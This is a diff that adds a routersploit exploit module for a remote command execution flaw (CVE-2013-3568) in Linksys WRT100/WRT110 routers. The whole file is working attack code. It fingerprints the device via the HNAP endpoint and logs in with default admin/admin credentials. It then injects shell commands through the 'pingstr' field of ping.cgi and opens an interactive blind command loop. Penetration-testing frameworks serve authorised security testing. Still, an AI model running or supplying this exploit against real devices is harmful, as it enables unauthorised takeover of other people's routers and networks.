Linksys WRT100/WRT110 RCE exploit

routersploit/modules/exploits/linksys/wrt100_110_rce.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    print_status,
+    http_request,
+    mute,
+    validators,
+    shell
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Linksys WRT100/WRT110 devices Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
+    """
+    __info__ = {
+        'name': 'Linksys WRT100/WRT110 RCE',
+        'description': 'Module exploits remote command execution in Linksys WRT100/WRT110 devices.'
+                       'If the target is vulnerable, command loop is invoked that allows executing commands'
+                       'on operating system level.',
+        'authors': [
+            'Craig Young',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3568',
+            'http://seclists.org/bugtraq/2013/Jul/78',
+        ],
+        'devices': [
+            'Linksys WRT100',
+            'Linksys WRT110'
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+
+    username = exploits.Option('admin', 'Username to log in')
+    password = exploits.Option('admin', 'Password to log in')
+
+    def run(self):
+        if self.check():
+            print_success("Target appears to be vulnerable")
+
+            if self.test_auth():
+                print_status("Invoking command loop...")
+                print_status("This is blind command injection. Response is not available.")
+                shell(self, architecture="mipsel")
+        else:
+            print_error("Target is not vulnerable")
+
+    def execute(self, cmd):
+        url = "{}:{}/ping.cgi".format(self.target, self.port)
+
+        payload = "& {}".format(cmd)
+        data = {
+            "pingstr": payload
+        }
+
+        http_request(method="POST", url=url, data=data, auth=(self.username, self.password))
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/HNAP1/".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+
+        if response is not None and "<ModelName>WRT110</ModelName>" in response.text:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable
+
+    def test_auth(self):
+        url = "{}:{}/".format(self.target, self.port)
+
+        print_status("Trying to authenticate")
+        response = http_request(method="GET", url=url, auth=(self.username, self.password))
+
+        if response is None or response.status_code == 401 or response.status_code == 404:
+            print_error("Could not authenticate {}:{}".format(self.username, self.password))
+            return False
+        else:
+            print_success("Successful authentication {}:{}".format(self.username, self.password))
+            return True